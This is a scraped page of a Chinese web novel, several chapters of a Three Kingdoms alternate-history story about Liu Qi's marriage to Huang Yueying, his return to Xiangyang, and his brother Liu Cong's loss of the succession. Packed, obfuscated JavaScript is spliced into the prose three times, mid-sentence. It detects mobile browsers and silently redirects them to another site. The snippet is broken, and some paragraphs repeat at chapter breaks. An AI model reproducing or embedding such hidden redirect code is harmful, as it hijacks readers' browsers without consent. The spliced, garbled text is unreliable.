“这座府邸终于迎来了它的女主人!” 黄月英被刘琦这般突然间的作态惹得掩唇失笑。 但很快黄月英就故意侧过身去:“何来终于?妾身瞧着西苑那位,不是早就在替夫君打理起居了?” 刘琦上前执起黄月英因常摆弄机关而略带薄茧的手,拢在掌心轻轻揉着,忽然低笑:“夫人说笑了。” 然后,刘琦顺势将人往怀里带了带,就着烛火端详黄月英指尖细痕,声音里带着几分慵懒的调侃:“这府中女主人除了我的...” 刘琦忽然俯身,唇畔擦过她微烫的耳垂,“...小娇妻,还能有谁?” 这声带着几分狎昵的低语让黄月英耳根发麻,虽从未听过这般露骨的称呼,但也从那缱绻音调里听出几分宠溺。 而黄月英被刘琦这声小娇妻唤得耳根酥麻,芙蓉面上早染透海棠艳色。 下意识攥紧刘琦胸前衣襟,指尖隔着衣料能触到坚实肌理,方才那点醋意竟似春雪消融,只余满心甜暖。 “夫君...”黄月英声音软得能滴出水来,眼波流转间不自觉带出三分娇嗔,“夫君后宅已有这许多姐妹...为何偏要纳那孙家**?” 黄月英忽然压低声音,“毕竟...她曾是一方诸侯正室......” 黄月英的言外之意无外乎是,昔年曹操纳张绣叔母邹氏,致使宛城惊变,不仅长子曹昂殒命,更折了心腹大将典韦,这般前车之鉴,她不信夫君会不知。 刘琦闻言低笑,手掌轻抚摸着黄月英那淡褐色的秀发:“夫人多虑了,张绣当年手握重兵方能作乱,如今江东残部溃散,孙权败走江东,哪还有人会为个**出头?”。 刘琦说着指向挂在屋内角落上的一副江东舆图:“而乔氏乃庐江望族,纳大乔则是为安抚庐江士族,为之后攻取庐江做些准备,庐江一下,取豫章、庐陵两郡便如探囊取物。” 黄月英望着舆图上连绵的朱砂标记,忽然觉得喉间酸涩尽数化作轻叹。 她垂眸整理刘琦微散的衣襟,声音闷在锦绣纹样里:“妾身岂是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16784405|187382||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那等量窄善妒之妇...大乔于夫君的大业有用,妾身省得的。” 黄月英忽然仰起脸,烛光在眸中漾开潋滟水色:“只是我们成婚这些时日.....” 黄月英虽知纳妾寻常,可若让庶子先降,莫说安陆黄氏颜面何在,便是这江夏夫人的位置,将来又该如何自处? 刘琦只见黄月英纤手无意识地抚过依旧平坦的小腹,顿时明白其意。 刘琦忽然低笑:“原来夫人是嫌为夫不够勤勉啊......” “既然夫人着急......”刘琦忽然将人打横抱起走向内室,“不若我们现在就试试孔明新献的安胎方?” “夫君!这**的.....”黄月英慌忙抵住刘琦胸膛,眼角瞥向窗外明晃晃的日头,“况且还有堆积的公务...” 刘琦低笑,指尖轻轻勾开她腰间丝绦:“正好让日头瞧瞧,咱们江夏的太守夫人比春花还娇。” 黄月英被刘琦轻轻放在铺着软褥的榻上后忽然咬唇拽过刘琦衣袖:“那...夫君得应我,头胎定要是个麟儿。” 刘琦此时指尖轻轻抚过她肚兜上那对比翼**的木鸢纹样:“依你,都依你。” 春日透过茜纱窗,将两人交叠的身影投在山水屏风上。 而此时襄阳州牧府 刘表握着江夏捷报的指尖微微发颤,忽然朗笑出声:“好!好!吾儿当真不负众望!” 案头玉镇纸被刘表震得叮当作响,而刘表久病初愈的面容此时也在这大捷捷报下泛起红光。 在一旁服侍的蔡夫人,指尖在袖中绞紧帕子。 而望着丈夫眉宇间罕见的畅快,蔡夫人忽然想起月前刘表之言,“琮儿若安分守己,自有富贵终老。” 是以,蔡夫人唇瓣翕动半晌,终是柔声应和:“琦儿确是用兵如神。” 而府内西跨院刘琮书房内。 同样知晓了捷报的刘琮猛地掀翻案几,竹简哗啦散落满地。 “四万大军?千五百战船?” 刘琮盯着抄录捷报上的数目,忽然抬脚踹向青铜灯树,“他凭什么!舅舅当初不是说是去送死.....” 而一旁侍从慌忙跪地劝阻:“二公子慎言!如今大公子声威正盛,不可.....” “滚!” 侍从的话还没说完,就被刘琮抓起半卷《孙子兵法》掷向门框打断,侍从手脚并用地跑出刘琮的书房。 而房内帛书撕裂声里混着刘琮的哽咽声,“早知如此...早知如此,当初该让舅舅带我去江夏的!” 武陵郡郡治临沅县 “砰!” 蔡瑁一掌拍向案几,案几上的武陵舆图被拍的震裂,:“三个月!整整三个月困在这瘴疠之地!” 蔡瑁抓起那份传阅的捷报狠狠揉团,“而刘琦小儿倒会在江夏风流快活,连孙策妻子乔氏那样的绝色都成了他帐中娇客!” 蔡瑁盯着捷报上刘琦纳乔氏的字样,眼前不由得浮现当年在襄阳宴饮时,众人传阅的江东二乔画像时,见到那等国色天香,饶是蔡瑁这般见惯美人的也不免心旌摇曳,心中对江东二乔垂涎不已。 可惜姐妹俩一个嫁了孙策一个许了周瑜,而此二人皆是他不敢轻易招惹的人物。 望而不可得,蔡瑁心中自然是越发窃痒,于是便退而求其次,耗费千金从西域胡商手里买下凝香凝露这对一卵双胎姐妹,随后更是花费重金将这姐妹调教诸般闺中秘术,原打算等日后彻底掌控荆州权势后自己再慢慢享用..... 而想到此处,蔡瑁更是痛彻心扉。 当初听信张允谗言,将这对精心栽培的胡姬送给刘琦,本是要用温柔乡磨灭那小子斗志。 谁知如今非但赔了苦心栽培的美人,连自己垂涎多年的大乔竟也成了对方榻上娇客! 痛!实在太痛了! 蔡瑁一时间捂住胸口跌坐在案几之后。 而一同在堂内的蒯越看完传阅而来的刘琦捷报面色阴沉,这时蒯越强压下心头翻涌的焦躁,看向失态的蔡瑁,指节在军报上叩出轻响:“不过是大公子侥幸建功.....德珪兄何至于此?” 第92章 码头迎归,人心向背各怀思 而一同在堂内的蒯越看完传阅而来的刘琦捷报面色阴沉,这时蒯越强压下心头翻涌的焦躁,看向失态的蔡瑁,指节在军报上叩出轻响:“不过是大公子侥幸建功.....德珪兄何至于此?” 望着蔡瑁这般不堪的模样,蒯越心底掠过一丝轻蔑。 他们本是同盟,意图扶持刘琮上位,共掌荆州权柄。 今长公子得势,蒯越自然同样忧心如焚,可蔡瑁身为荆州都督竟因一时失利便方寸大乱,实在令人失望至极。 在蒯越看来,景升公虽年近花甲却远未到油尽灯枯之时,来日方长何必如此沉不住气? “不过是一时胜负。”蒯越将茶盏轻轻放回案几,眼底寒光微闪,“如今乾坤未定,景升公尚坐堂上,且先让长公子得意些时日又何妨?且德珪兄这般失态,岂非自乱阵脚?” 但蔡瑁闻言拍案而起,指着蒯越的鼻尖厉声道:“蒯异度!你自然不着急!” “你们蒯氏兄弟两头下注,当我不知?” 蔡瑁猛地将案上兵册摔在地上,“若非你族弟蒯良从州府调拨三月粮草助那小子,刘琦岂能有今日!” 面对蔡瑁突然的指责,蒯越脸色骤然阴沉如铁,指节在袖中捏得发白。 当初蒯越率军刚至武陵时,便得知蒯良竟以章陵太守职权调拨三万石军粮助刘琦,是以蒯越当即修书质问蒯良:“吾等既盟誓共扶二公子,族弟何故改弦更张?” 而蒯良回信则是:“良食景升公俸禄,自当为景升公分忧!” 面对族弟这般冠冕堂皇的回信,蒯越还能说什么。 毕竟蒯良身为章陵太守兼州府治中,官职本就不在他之下,如今既要执意拨付粮草给刘琦,他这个远在荆南征战的族兄又能如何? 难道真要兄弟阋墙让外人看笑话? “德珪兄慎言。”蒯越勉强维持着镇定,声音却泄出一丝艰涩,“蒯良身为章陵太守,调拨粮草乃分内之事。” 蔡瑁闻言勃然大怒,一脚踢翻案几:“好个分内之事!三月军粮轻飘飘一句带过,你们蒯家两头下注的算盘打得真响!” 蔡瑁怒火中烧手指点了点蒯越目眦欲裂:“既如此,他日我若失势,定要你蒯异度同走这黄泉路!”蔡瑁的怒吼声震得帐幔簌簌作响。 说完,蔡瑁转身就离去。 待蔡瑁的脚步声彻底消失在夜色中,蒯越立即召来心腹校尉。 蒯越抚平被揉皱的军报,声音恢复往日的沉稳: “将此捷报抄录百份,即刻传阅各营。令司闻官在士卒饭时宣讲——大公子在江夏破敌四万,缴获战船千五百艘。” 望着校尉领命而去的背影,蒯越指尖轻叩案几。 蒯越这招看似提振士气,实则是给蔡瑁套上缰绳。 如今他们手握两万大军,若让蔡瑁在绝望中铤而走险,无论是投靠武陵蛮还是拥兵作乱,都将酿成大祸。 唯有让全军皆知刘琦势如破竹,那些非蔡氏嫡系的将领才会明白,跟随失势都督叛乱无异于自寻死路。 接着蒯越又唤来蒯氏亲兵,低声嘱咐:“加强粮仓与武库守备,凡蔡都督签发的调兵文书,需经我副署方可生效。” 烛火摇曳中,蒯越展开荆南舆图。 蔡瑁说得没错,蒯良确实在两头下注,可正因如此,蒯越更要稳住荆南局势。 当前荆南叛乱久久未平,只因是刘表有意压制蔡瑁,让其不能在长公子平定江夏时在后面捣乱。 而待江夏稳固,襄阳的军资便能畅通无阻,平叛指日可待。 届时刘表去世后,荆州牧不论是刘琦还是刘琮上位,蒯氏一族都可在荆州屹立不倒。 深夜,蔡瑁独自登上临沅城头,望着北方襄阳的方向发呆。 亲兵统领蔡禾捧着氅衣走近:“都督,荆南夜寒...“ “阿禾。“蔡瑁忽然指向江夏方向,“若我现在弃城回襄阳...“ “不可!“ 闻言蔡禾慌忙跪地,“临阵脱逃按律当斩!如今大公子声势正盛,正等着抓您的把柄呢!“ 而城墙下忽然响起蒯越督查岗哨的喝令声,蔡瑁苦涩地闭上眼。 而就在蔡瑁在临沅城头黯然神伤时,汉水之上正有一支船队扬帆北上。 是日。 刘琦扶着船舷远眺,江风将他玄色披风吹得猎猎作响。 黄月英依偎在刘琦肩头,江风轻拂她淡褐色的鬓发。 黄月英不安地抚过自己高挺的鼻梁,声音带着几分怯意:“听闻阿翁最不喜胡风,而妾身这般形貌异于汉家女儿的容貌.可会惹阿翁他不快?” 刘琦闻言轻笑,执起她一缕微卷的发丝在指间把玩:“家父戏言耳,安陆黄氏乃江夏望族,能得这般儿媳,父亲欢喜还来不及,怎会不喜呢?” 刘琦说话时不着痕迹地揉了揉后腰,这几日为遂娇妻心愿,着实有些操劳。 虽说刘琦穿越后体魄强健远胜常人,可也架不住这般夜夜笙歌。 黄月英瞥见刘琦这个小动作,颊边飞起红霞,随即悄悄将温热的掌心贴在刘琦腰后轻柔。 三日后船队驶入襄阳水域,但见襄阳码头旌旗蔽空,文武分列两班。 东侧以蒯良为首,荆州从事中郎韩嵩、伊籍、王粲等文士皆着礼服肃立,个个面带春风。 西侧刘琮领着张允、张虎等宗亲,亦是笑容满面,只是那笑意如早春残雪,经不起细看。 刘琮面上虽然堆着恰到好处的喜色,但眼神不时扫过东侧那群人,缩在袖中的拳头却越攥越紧。 韩嵩与伊籍这两个老臣正相谈甚欢,不用听都知道定是在说什么立嫡以长的老调。 而最让刘琮心惊的是蒯良竟站在那群人中间谈笑风生,这蒯家明明与蔡氏同气连枝,如今却...... 再看那王粲,眉飞色舞地与韩嵩与伊籍二人比划着,不用猜又是在盛赞兄长用兵如神。 这些往日对他恭顺的荆州属臣,如今竟都明目张胆地倒向兄长,真是让刘琮恨得牙痒痒。 接着刘琮强压下心头翻涌的妒火,转而审视身后宗亲。 表兄张允虽也做出欢欣姿态,眼神却不时飘向蒯良所在,这个惯会趋炎附势的表兄,怕是已在盘算如何改换门庭了。 倒是张虎始终按剑而立目不斜视,可刘琮心知这位表兄从来只效忠父亲一人。 江风卷着韩嵩那句长公子真乃社稷之才飘入耳中,刘琮忽然想起母亲蔡氏那句你父亲要你安分守己,自有富贵终老的告诫,胸中顿时涌起万千不甘——明明前几个月这襄阳城还如众星拱月般围着他转,那些阿谀奉承之声犹在耳畔,如今却... 刘琮望着渐行渐近的楼船,指甲深深陷进掌心,这世态炎凉,竟比汉水的秋风更刺骨。 当船板落下,刘琦携妻登岸时,刘琮抢步上前欲执兄长之手,却见蒯良已先他半步行礼:“恭迎长公子凯旋而归!” 而韩嵩等人也随即齐声相和,声震汉水。 而刘琦稳步走向他们,先向东西两班文武从容还礼。 而当目光与蒯良相接时,刘琦特意走近两步,声音清越: “子柔先生,琦幸未负当日所托。” 蒯良抚须而笑,浑浊的眼中藏着欣慰:“长公子言重了,老朽不过是尽了食禄之臣的本分。” 刘琮在旁听得脸色发白,正要插话,却见刘琦已转向与韩嵩、伊籍等人相谈起来,众人言笑晏晏,或无意或有意将刘琮晾在在旁。 刘琮怔怔望着被众人环绕的兄长,那张与自己有三分相似的脸上尽是从容。 刘琮几次欲开口插话,却见刘琦谈笑间已携众臣往车驾方向行去,连眼风都未曾扫过他这个胞弟。 正当刘琮怔立原地时,已登车的刘琦忽然探出身来,朝刘琮含笑招手:“二弟,还不上车?” 见刘琮愣怔,刘琦索性亲自下车执起其腕,“我们兄弟许久未见,今日当同车叙话。” 而青盖车内,刘琦将暖炉推至弟弟手边:“听闻二弟近日精研《汉书》,可有所得?” 而不等回答刘琦又笑道,“为兄在江夏偶得张子房手书残卷,正好与二弟共赏。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16789332|187382||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' r>说着刘琦,从怀中掏出一扎竹简递给刘琮。 而刘琮接过竹简的手掌猝然紧握,忽觉眼前这位经过江夏战火淬炼的兄长,周身威势竟比执掌荆州多年的父亲更令人心悸。 可刘琮何曾真去碰过那些晦涩的《汉书》? 往日不是与张允纵马游猎,便是在府中欣赏歌舞。 可兄长既这般发问,刘琮只得硬着头皮应承。 当刘琮慌忙垂首掩去眼底惊惶,喉结轻滚:“好...好的。”时,忽然品出兄长话中深意,这是要他只管做个吟风弄月的富贵闲人,莫再去沾染权柄二字。 刘琦下船后的举动看似随意,实则每一步都经过深思熟虑。 故意先与蒯良等人叙话而冷落刘琮,既是在众人面前确立长公子的威仪,也是让这个弟弟看清形势,如今荆州文武人心向背已明。 最后亲自下车相邀的举动则是一石二鸟:既全了兄弟和睦的名声,免去得势骄矜的议论,同时将刘琮单独置于方寸车厢内言语暗中敲打一番。 而若刘琮听得进这番敲打,安分守己做个富贵闲人,自然还是兄友弟恭,若仍存非分之想,今日能让你站在众人视线之外,来日便能让你永远退出荆州众人的视线外。 而当车驾停在州牧府前时,刘琮下车的动作带着几分认命的丧气。 刘琮下得车来,望着阶前垂手侍立的州府管家与一众仆从,忽然对身旁的刘琦躬身:“明日...弟想请教《诗经·鹿鸣》篇。” 刘琦闻言眼底微动——《鹿鸣》乃宴群臣嘉宾之诗,其中我有旨酒,以燕乐嘉宾之心一句,弟弟这是在表态愿做个宴饮享乐的闲散公子。 刘琦当即执起刘琮的手拍了拍:“呦呦鹿鸣,食野之苹。二弟既爱此篇,为兄明日便在鹿苑设宴为弟讲解。” 刘琮闻言立即躬身:“弟恭谨从命。” 话音未落,但见州牧府总管疾步上前,在青石阶前深深作揖:“主公吩咐,长公子远道归来,舟车劳顿,兰汀苑已收拾妥当,请随老奴前往歇息。明日辰时正刻,再于正堂叙话。” 刘琦从容还礼:“有劳总管回禀父亲,儿臣遵命。” 随后刘琦略作停顿后温声道,“不过我在那旧院住惯了,还是回原处罢了。” 总管面露难色:“这...旧院院宇狭小,陈设简陋,实在委屈长公子身份...” “无妨。” 刘琦执起黄月英的手,“那处清静,我与夫人喜清静。” 当刘琦踏进那座熟悉的别院时,暮色正浸透檐下铁马。 刘琦站在院中环顾四周,看到这熟悉的旧景,往昔种种顿时涌上心头。 就是在这里,刘琦曾因蔡瑁构陷被父亲当众斥责,也就是在这里,刘琦接过江夏太守任命时,满城文武无一前来相送。 而跟随在身后的黄月英走进这座位于州牧府最偏处的别院,不禁轻蹙眉头:“这...这里竟是夫君昔日在襄阳的居所?” 说着黄月英环顾着狭小的庭院,难掩诧异,“妾身原以为......” “以为长公子该住在东侧雅苑?”说着刘琦推开房门走了进去,但见屋内窗明几净,案几上还摆着去岁未读完的《孙子兵法》,连笔搁都保持着当初的位置。 而黄月英则微微歪头,眼波里写着难道不是。 这时,刘琦牵着黄月英坐在临窗的旧榻上,将那些年遭过的冷眼、受过的构陷娓娓道来。 着叙述,黄月英渐渐偎进刘琦怀中,温热的掌心覆上刘琦手背。 “不想夫君昔日这般艰难...”她仰起脸,泪光里绽出笑纹,“可妾身以为正是这些磋磨,成就了今日执掌四万甲士的江夏太守。” 黄月英指尖轻抚刘琦衣袍上的江涛纹绣,声调渐扬:“如今夫君舟师纵横大江,威震荆襄。父亲连述职都特意选在正堂...” 她忽然压低嗓音,“妾身这些时日观察,父亲似已决意传位夫君。” 刘琦抬手轻触黄月英唇瓣,目光扫向院外:“夫人慎言。” 第93章 四万虎贲震襄阳!刘琦恐怖如斯! 翌日,襄阳州牧府的正堂内,熏香袅袅,文武分列。 刘琦立于堂中,玄色锦袍衬得他身姿愈发挺拔。 刘琦正向座上的刘表禀报江夏战果,声音清越,每个字都清晰地回荡在这荆州州牧府正堂内。 “儿臣奉命征讨江夏,赖父亲洪福,将士用命,现已光复全境十五县。” 刘琦展开一卷竹简,神态从容,“此战共计缴获江东战船千五百艘,粮草四十万石有余。” “迫降及俘虏敌军一万六千众,经遴选,得精锐六千补入行伍,另五千擅水者编为‘靖江营’,由归附之吕范、蒋钦统带。” 刘琦略微停顿,目光扫过堂内诸人。 蒯良抚须微笑,韩嵩与伊籍交换着赞赏的眼神,就连站在西侧班首的刘琮,也下意识地避开了他的视线。 “如今我军陆师,” 刘琦继续道,声音不自觉地提高了几分,“军中有黄忠、赵云、甘宁、周仓诸将统领,合江陵营、章陵郡兵及江夏旧部,堪战之兵已逾四万二千。” 刘琦这话如同在平静的湖面投下石子,激起层层涟漪。 堪战之兵已逾四万二千,这句话让所有人为之动容。 要知道,这可不是临时征召而来刚放下锄头的民夫,而是历经云梦泽奇袭、津乡血战、夏口攻坚,在数月征战中磨砺出来的百战精锐! 放眼天下,除却正在官渡对峙的曹、袁两家,谁能轻易拿出这样一支强悍军力? 这是一股足以震动江南,甚至影响天下格局的力量。 而更让众人心惊的是,如此雄兵,竟悉数掌握在长公子刘琦手中! 一时间,堂内不少人的目光都不由自主地投向上首的刘表。 如此鼎盛的兵力尽归长子掌握,为主君者,岂能毫不忌惮? 然而,众人只见刘表面色沉静,手抚长须,眼中神色却颇为复杂。 而刘表此刻的心情却极为复杂。 刘表对刘琦这个长子,曾是寄予厚望,但却又让他屡屡失望。 昔日的刘琦在刘表面前总是唯唯诺诺,目光闪躲,问起政务军务,往往支吾不能对。 随后,刘表自是越是严厉训斥,而刘琦就越是惶恐,最后竟沉溺酒色,自暴自弃。 在当时刘表看来,刘琦这分明就是懦弱无能、不堪造就的表现。 多少次,刘表对着这个嫡长子暗自叹息,恨其不争,甚至心生厌恶,可如今…… 看着堂下侃侃而谈的刘琦,刘表的目光在刘琦身上细细打量着。 那挺拔的身姿,那沉稳的气度,那眉宇间不容错辨的自信,都与记忆中那个怯懦的儿子判若两人。 这四万二千虎贲,非但没有让刘表感到威胁,反而成了长子能力的最佳证明。 刘表忽然想起数月前,刘琦就是在这般文武环视下,主动请缨前往江夏。 当时刘表只当是长子又一次不自量力的冲动,甚至已经做好了为其收拾残局的准备。 谁曾想,短短数月,这个琦儿竟在江夏创下如此赫赫功业,不仅全复疆土,更练出如此雄兵! 看着堂下沉稳奏对的刘琦,刘表的眼神渐渐变得深邃。 眼前的长子气度沉雄,一言一行间自有金声玉振之韵,那份举手投足间自然流露的威势与决断,俨然已是雄主之姿。 这一刻,刘表心中对立刘琦为荆州继承人再无半分疑虑,唯有老怀大慰的欣喜与自豪。 刘表看着刘琦,仿佛看到了当年单骑入荆州的自己,不,甚至更为出色! 一种我家麒麟儿的骄傲油然而生,同时一个更为恢宏的念头不受控制地闯入刘表脑海——昔日光武皇帝中兴汉室,其英武雄姿,怕也无外如此了吧? 而堂内众人将刘表将如此军力尽付其手却毫不担忧,那这本身就是一个再明确不过的信号——刘琦,就是刘表选定的继承人! 想通此节,蒯良、韩嵩等人相视颔首,心中最后一点观望之意也彻底消散。 而站在西侧班首的刘琮,此刻却是后背发凉,一股寒意从脚底直窜头顶。 四万二千精锐!他简直无法想象这是何等可怕的力量。 昨日车中,面对兄长言语敲打时,刘琮虽畏惧,却还未有如此直观的感受。 此刻听到这骇人的数字,刘琮才真正意识到,兄长若要捏死自己,恐怕比捏死一只蚂蚁还要简单! 自己先前那些不甘和小心思,在如此绝对的实力面前,显得何等可笑、何等危险! 刘琮下意识地缩了缩脖子,冷汗已然浸湿了内衫,心中只剩下无尽的后怕与庆幸。 “水师方面...” 刘琦的声音将众人的思绪拉回,“现有楼船五艘为旗舰,艨艟百四十,斗舰百五十,走舸三百,各型舟舰合计近六百。水师将士一万五千,分驻三寨,扼守大江。” 而刘琦每报出一个数字,堂下众人的眼神就敬畏一分。 万余水师这已是一支足以纵横江河的无敌舰队! 待刘琦禀报完毕,躬身行礼时,刘表终于缓缓开口,声音里带着刻意压抑的赞许:“琦儿此番建功,扬我荆州声威,甚好....” “然...” 刘表话锋一转,语气骤然转冷:“然,功过须得分明。为父听闻,你已在江夏自行娶妻,纳安陆黄氏之女,可有此事?” 堂内气氛顿时为之一凝,之前在刘琦汇报完,就准备出列贺喜的荆州文武,被刘表这一问,顿时尬住了。 这是怎么了?先前看你不是面露欣慰之色吗? 荆州文武众人虽然心中疑惑,但也不敢有别的举动,而是默默的缩回踏出去的半只脚。 而刘琦心下一凛,知道这才是今日真正的难关。 刘琦再次躬身,姿态放得更低:“回父亲,确有此事。妻室黄氏,名月英,乃安陆黄氏嫡女。” “哼!” 刘表重重一拍案几,震得茶盏叮当作响,“婚姻大事,父母之命,媒妁之言!” “你一信不报,便私自娶之,你眼中可还有为父?可还有礼法纲常?” 刘表这一声厉喝,让堂下众臣无不屏息。 而蔡夫人立在刘表身侧,嘴角微不可察地扬起一丝快意。 当然了,刘表虽然是厉喝刘琦,但刘表也并非真要追究此事。 在乱世,借联姻稳定地方本是常事,当年刘表便也与蔡氏联姻才能快速安定荆州士族。 但刘表必须借此机会敲打刘琦——无论立下多大功劳,都不能逾越礼法,不能脱离他的掌控。 这是作为父亲和君主的双重立威。 刘琦深吸一口气,不慌不忙地解释:“父亲息怒。当时孙策新丧,孙权大军压境,江夏危如累卵。” “而安陆黄氏乃江夏望族,得其支持,方能速稳局势、筹集粮秣。” “可若循六礼之制,往返襄阳、安陆,恐需数月之久,届时江夏必失!儿臣为大局计,不得已行此权宜之策,万望父亲体谅!” 说完刘琦抬起头,目光诚恳:“儿臣深知有违礼制,故战事方定,便即刻携妻返襄,正是欲向父亲请罪,恳请父亲主婚,为儿臣补全六礼,以正名分!” 刘表凝视着儿子,见他应对得体,既说明了不得已的苦衷,又给足了自己面子,心中对刘琦不言而娶妻那点不快便消散了。 刘表需要的,就是这个态度,如今长子识趣给了,那刘表自然是不会揪住不放。 “纵有万急,亦不可轻废礼法!” 刘表语气缓和了些,却仍带着训诫,“汝今为一方统帅,当时时谨记,以身作则。既然你已知错,愿补全礼数,此事便依你之言。择吉日,按六礼之制,重新行聘纳采。” “儿臣遵命!谢父亲成全!”刘琦郑重行礼。 而站在武将班列中的刘琮,听着父亲与兄长的对答,紧紧攥着袖口,指甲几乎要嵌进肉里。 先前当父亲厉声责问兄长私自娶妻时,刘琮心头竟不由自主地升起一丝微弱的希冀,或许....或许兄长这会触怒父亲,让父亲重新看到自己的好..... 可刘琮这最后一丝幻想,随着父亲语气转缓、最终竟亲口允诺主婚而彻底破灭了。 刘琮看出来了父亲看向兄长时,那眼底深藏的赞赏与决断。 当下刘琮终于彻底认命了。 这认命不仅源于兄长手握重兵的绝对威势,更源于他看清了父亲的意志,父 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16795176|187382||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 亲的心,早已属意兄长。 那个曾被他暗中鄙夷的软弱兄长,如今已是手握重兵、令他望尘莫及的存在。 而自己最后那点指望兄长犯错、自己好趁虚而入的侥幸心思,在父亲这般明确的表态下,显得如此可笑又可悲。 刘琮松开紧握的手,掌心留下几道深深的月牙印,整个人如同被抽去了筋骨般,只剩下无尽的颓然。 解决了礼法问题,刘表神色稍霁,环视堂下文武,温声道:“今日议事已毕,诸卿且先退下吧。” 随后刘表略作停顿,看向垂手侍立的刘琦:“晚间歇在府中用膳罢。让新妇亦同来,正好见见家人。” 新妇是汉代对儿媳的常用称谓,刘表用此称呼,既符合礼制,又暗含接纳之意。 选择在家宴而非正式场合相见,既全了长辈体恤晚辈之心,同时也避免在堂上召见新妇可能因容貌引发的尴尬。 刘表早闻安陆黄氏有女形貌异于常人,甚至传言奇丑无比。 虽说长子为得江夏世家支持咬牙娶之,但若在方才文武众目睽睽之下召见,万一新妇果真容貌不堪,岂不徒惹非议? 他刘景升最重颜面,断不能容忍荆州州牧儿媳成为笑谈。 不如先在家宴上私下相看,若真如传闻所言,日后便让这儿媳少在外人前露面便是。 而随着钟磬声响起,文武官员依次退出正堂。 刘琦躬身应下,目送父亲在内侍簇拥下转入后堂。 刘琦何等聪慧,立时领会父亲这番安排的深意,心中暗叹父亲果然还是这般看重门面。 夜晚。 荆州牧府内。 烛影摇红,珍馐罗列。 州牧府后堂的家宴已进行过半,刘表将目光投向坐在刘琦身侧的黄月英。 但见这新妇身着杏色深衣,发髻梳得一丝不苟,正垂眸**,姿态端庄得挑不出半点错处。 其实宴席初开时,黄月英上前行礼问安,刘表就仔细打量过这个儿媳。 儿媳虽鼻梁高挺,鬓发微卷,与中原女子相貌迥异,但却肤白细嫩眉目清朗,细看之下别有一番风致。 “新妇。”刘表缓缓开口,将手中酒樽轻轻放下。 黄月英闻声抬头,那双淡褐色的眸子在烛光下流转着温润的光泽:“父亲有何吩咐?” “听闻你尚在闺中时,常随黄公研习机关之术?”刘表抚须问道,目光中带着考量。 “回父亲,妾身愚钝,不过略识些营造之法,不敢称研习。”黄月英从容应答,声音清越。 刘表微微颔首,又问道:“那《周礼·考工记》可曾读过?” “略读过些。” 黄月英稍作思索,便从容应道,“《考工记》有云:‘审曲面势,以饬五材,以辨民器’。妾身以为,治国如制器,皆需因势利导,各得其宜。” 黄月英答得恰到好处,既展现了学识,又不失谦逊。 闻言,刘表眼中闪过一丝讶异,随即又考校了几处经史典故与女红之事,黄月英皆能引经据典,对答如流。 刘表原本只是例行考教,未料这儿媳不仅通晓机关之术,对经史女红也颇有见解,实属难得。 儿媳这般才学,便是放在襄阳的世家闺秀中也属翘楚。 这下刘表眼中掠过一丝满意,这儿媳虽形貌特异,但谈吐举止却颇有大家风范。 而刘表悬着的心也算是彻底放下心来。 他素来重颜面,若儿媳果真容貌不堪,即便对江夏局势再有利,也难免让刘表如鲠在喉。 如今见黄月英不仅容貌清秀,更兼知书达理,那些关于丑妇的传闻自然不攻自破。 想来定是些没见过世面的乡人,见了异域风貌便大惊小怪,以讹传讹罢了。 当下刘表对黄月英是越看越觉满意,温声道:“新妇既通文墨,又明事理,甚好。日后当好生辅佐伯瑜(刘琦字)。” “妾身谨记父亲教诲。”黄月英盈盈一拜。 而这番对答落在对面席上的刘琮眼中,却别有一番滋味。 刘琮原本正暗自冷笑,想着兄长为了权势,竟娶了个丑妇,自己虽失了嗣位,将来在闺阁之乐上定要胜过兄长一筹。 第94章 扬州刺史印?刘琦笑纳之! 刘琮原本正暗自冷笑,想着兄长为了权势,竟娶了个丑妇,自己虽失了嗣位,将来在闺阁之乐上定要胜过兄长一筹。 可当刘琮偷眼打量黄月英时,却不由得愣住了。 但见这位嫂嫂虽具胡风,却别具殊色,高鼻深目间自有一段风流韵致,微卷的鬓发衬得肌肤愈发白皙,尤其那双眼眸,在灯下流转着琥珀色的光泽,竟是刘琮平生未见的风情。 刘琮万万没想到,这位被他在心底讥讽为丑妇的嫂嫂,竟有这般让人惊心动魄的异域之美。 而刘琮忆起往日总觉得胡女粗鄙,但此刻却觉这般风貌别有韵味。 刘琮看着嫂嫂恭敬侍立的模样,一个荒唐的念头突然窜上心头,待他日有机会,定要寻几个这般风情的胡姬,好生领略一番异域滋味。 而黄月英正执壶为刘表斟酒,纤指轻抬间,腕上一对玉镯叮咚作响。 刘琮看得心头一热,慌忙低头饮酒,那酒液入喉,竟品出了几分酸涩。 “新妇且坐。” 刘表满意地摆手,转而看向刘琦,“伯瑜此番在江夏,于屯田之事可有所得?” 刘琦正要答话,忽见门外侍卫匆匆入内,向刘表禀报道:“主公,许都使者董昭已至城外驿馆,言明日便要进城宣诏。” 